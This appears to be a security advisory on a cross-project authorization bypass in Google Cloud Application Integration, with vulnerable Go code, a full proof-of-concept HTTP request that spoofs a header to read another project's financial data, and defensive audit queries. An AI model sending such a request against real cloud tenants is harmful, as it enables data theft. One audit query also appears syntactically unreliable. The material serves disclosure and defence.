Executive Lead: Cross-Boundary Identity Confusion in Google Cloud Integration Fabrics

Google Cloud has published an infrastructure security advisory regarding a critical authorization bypass vulnerability cataloged as CVE-2026-12710 in Google Cloud Application Integration. The flaw carries a Common Vulnerability Scoring System (CVSS v3.1) base score of 9.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N) with a Scope Changed (S:C) designation, signifying that exploitation breaches the security perimeter of the originating Google Cloud Project and impacts adjacent managed enterprise resources.

Application Integration is Google Cloud's enterprise Integration-Platform-as-a-Service (iPaaS), designed to connect disparate software-as-a-service (SaaS) applications, custom corporate microservices, and managed relational or analytical datastores without bespoke middleware code. Enterprises utilize Application Integration workflows (integrations) to automate sensitive business processes, such as orchestrating financial transaction pipelines, dispatching customer records between Salesforce and BigQuery, and synchronizing ERP ledgers. The vulnerability resided inside the core QueryEngineTask connector module, where an asynchronous execution context failed to preserve project-level authorization boundaries, permitting authenticated integration developers in one workspace to impersonate elevated Google-managed service accounts across external GCP projects.

Technical Root Cause & CWE-285 Dissection: Task Execution Token Decoupling

Application Integration executes workflows through a distributed event-driven runtime. When an integration engineer configures a database query task using QueryEngineTask, the system serializes the integration task configuration—including targeted database connectors, SQL query strings, parameter bindings, and delegated Service Account credentials—into an internal execution manifest.

Under intended operation, the Google Cloud Integration Service Agent (service-PROJECT_NUMBER@gcp-sa-integrations.iam.gserviceaccount.com) validates that the caller possesses the integrations.integrations.create and iam.serviceAccounts.actAs permissions for the specified Service Account. Once verified, the Integration runtime acquires an ephemeral OAuth2 access token scoped strictly to the target project via the Google Cloud IAM Token Service. 

// Vulnerable Execution Dispatch Flow in Integration Runtime Worker
// The runner decoupled execution context validation from the async query queue worker

func (e *QueryExecutionEngine) ExecuteAsyncQuery(ctx context.Context, task *IntegrationTaskSpec) (*QueryResult, error) {
    // SECURITY DEFECT: Project ID and Caller Identity were retrieved from mutable payload header
    callerProject := task.Header.Get("X-Google-Originating-Project")
    targetConn := task.ConnectionParameters.ResourceURI

    // Verification evaluated callerProject string instead of cryptographic SPIFFE context
    if err := e.iamEvaluator.ValidateProjectAccess(callerProject, targetConn); err != nil {
        return nil, status.Errorf(codes.PermissionDenied, "unauthorized cross-project connector reference")
    }

    // Worker retrieved the shared Regional Service Agent pool credentials rather than project-pinned token
    poolToken, err := e.tokenBroker.GetRegionalSharedServiceAccount(task.Region)
    if err != nil {
        return nil, status.Errorf(codes.Internal, "failed to resolve regional service agent")
    }

    // Downstream query forwarded to BigQuery / Cloud SQL using poolToken with overprivileged scope
    return e.driver.Execute(poolToken, targetConn, task.SQLPayload)
}

The architectural vulnerability, classified under CWE-285: Improper Authorization, manifested when asynchronous integration workers dequeued long-running or batch queries. The task runner decoupled execution validation from the asynchronous message bus:

  • Header Tampering in Synthetic Triggers: When an integration workflow was invoked via an internal API trigger or cloud pub/sub event, an attacker could inject an arbitrary project identifier into the X-Google-Originating-Project parameter of the IntegrationTaskSpec payload.
  • Identity Token Smuggling: Because the execution runtime utilized a warm pool of regional Google Integration Service Agents to optimize latency across multi-tenant worker nodes, the worker validated the spoofed header against the regional credential cache instead of validating the cryptographic JSON Web Token (JWT) subject bound to the project boundary.
  • Cross-Project Resource Access: Consequently, the QueryEngineTask executed arbitrary queries against BigQuery datasets, Cloud SQL databases, and Cloud Spanner instances in secondary target projects, provided the regional integration service agent held ambient reader or writer permissions in those environments.

Attack Mechanics & Proof-of-Concept Workflow Analysis

To demonstrate the flaw, an adversary requires valid authenticated access to at least one GCP project with an integration editor role (roles/integrations.integrationEditor). The attacker constructs a malicious integration definition that leverages the decoupled QueryEngineTask schema: 

POST /v1/projects/attacker-corp-dev/locations/us-central1/integrations/exfil-flow:execute
Host: integrations.googleapis.com
Authorization: Bearer ya29.a0AfH6SMB...[ATTACKER_DEVELOPER_TOKEN]
Content-Type: application/json

{
  "triggerId": "api_trigger/exfil-query",
  "inputParameters": {
    "_cst_target_project": {
      "stringValue": "production-finance-core-9941"
    }
  },
  "taskOverrides": {
    "QueryEngineTask_1": {
      "customHeaders": {
        "X-Google-Originating-Project": "production-finance-core-9941"
      },
      "connectionUri": "projects/production-finance-core-9941/locations/us-central1/connections/finance-analytics-bq",
      "queryStatement": "SELECT customer_id, legal_name, tax_identifier, encrypted_routing_token FROM production-finance-core-9941.settlements.clearing_accounts LIMIT 1000"
    }
  }
}

Upon dispatch, the regional worker node accepted the request, inspected the mutable X-Google-Originating-Project header, evaluated the identity check against the regional service agent cache, and dispatched the SQL query directly to the production BigQuery engine. The resulting dataset was then serialized into the integration response payload and exfiltrated directly to the attacker's console output or an attacker-controlled external webhook.

Impacted Architecture & Cloud Infrastructure Matrix

The vulnerability impacted all enterprise organizations leveraging Google Cloud Application Integration with database and analytical query connectors across multi-project organizations.

Component Vulnerable Configuration Fixed Configuration Remediation Mechanism
GCP Application Integration Multi-tenant regional worker execution pools using shared service agent tokens Strict cryptographic SPIFFE workload identity pinning per tenant project Server-side fleet hotfix rolled out globally across all GCP regions
QueryEngineTask Connector Unvalidated X-Google-Originating-Project header parsing Header dropped; caller context extracted strictly from IAM OAuth claims Server-side API gateway filter enforcement
Integration Connectors (SaaS/DB) Broad regional service agent role bindings (e.g., roles/bigquery.admin) Least-privilege customer-managed encryption and IAM service agents Customer administrative policy remediation

Defensive Playbook: Audit Queries & IAM Service Agent Lockdown

Although Google Cloud deployed global server-side patches eliminating the cross-project token leakage, enterprise cloud security architects must perform retroactive audits across their GCP Organization to verify that historical execution logs do not indicate unauthorized data access or privilege escalation.

1. GCP Cloud Audit Logs Investigation Query

Execute the following Google Cloud Logging query across the GCP Organization sink to identify anomalous QueryEngineTask executions where the caller project mismatched the target connection project: 

protoPayload.serviceName="integrations.googleapis.com"
protoPayload.methodName=~"google.cloud.integrations.v1.IntegrationsService.ExecuteIntegration"
protoPayload.request.taskOverrides:*
NOT protoPayload.resourceName=~protoPayload.request.taskOverrides.connectionUri

2. Audit Over-Delegated Service Agents in Sensitive Projects

Verify that external service agents or regional integration service accounts have not been inadvertently granted overly permissive roles in production data warehouses: 

# Check IAM policy bindings for regional integration service accounts on target BigQuery datasets
gcloud projects get-iam-policy production-finance-core-9941     --flatten="bindings[].members"     --format="table(bindings.role, bindings.members)"     --filter="bindings.members:gcp-sa-integrations"

3. Enforce VPC Service Controls Perimeter

To provide defense-in-depth against cloud-level authorization vulnerabilities, organizations should enclose BigQuery, Cloud SQL, and Application Integration resources inside strict VPC Service Controls (VPC SC) service perimeters. VPC SC blocks multi-project data exfiltration even in the event of an identity-layer bypass: 

# Enforce VPC Service Control perimeter containing Application Integration and BigQuery
gcloud access-context-manager perimeters update corp_secure_perimeter     --policy=123456789012     --add-restricted-services=integrations.googleapis.com,bigquery.googleapis.com

Indicators of Compromise & Forensic Telemetry

Telemetry Artifact Location Detection Rule / Indicator Severity
Audit Log Mismatch GCP Cloud Logging (data_access) protoPayload.request.taskOverrides.customHeaders['X-Google-Originating-Project'] differing from caller project number Critical
Cross-Project Query Dispatch BigQuery Audit Logs (cloudaudit.googleapis.com) BigQuery jobs triggered by gcp-sa-integrations service accounts originating from foreign project networks High
Anomalous Data Read Spikes BigQuery Monitoring Metrics Sudden surge in bigquery.googleapis.com/query/scanned_bytes without matching scheduled batch jobs Medium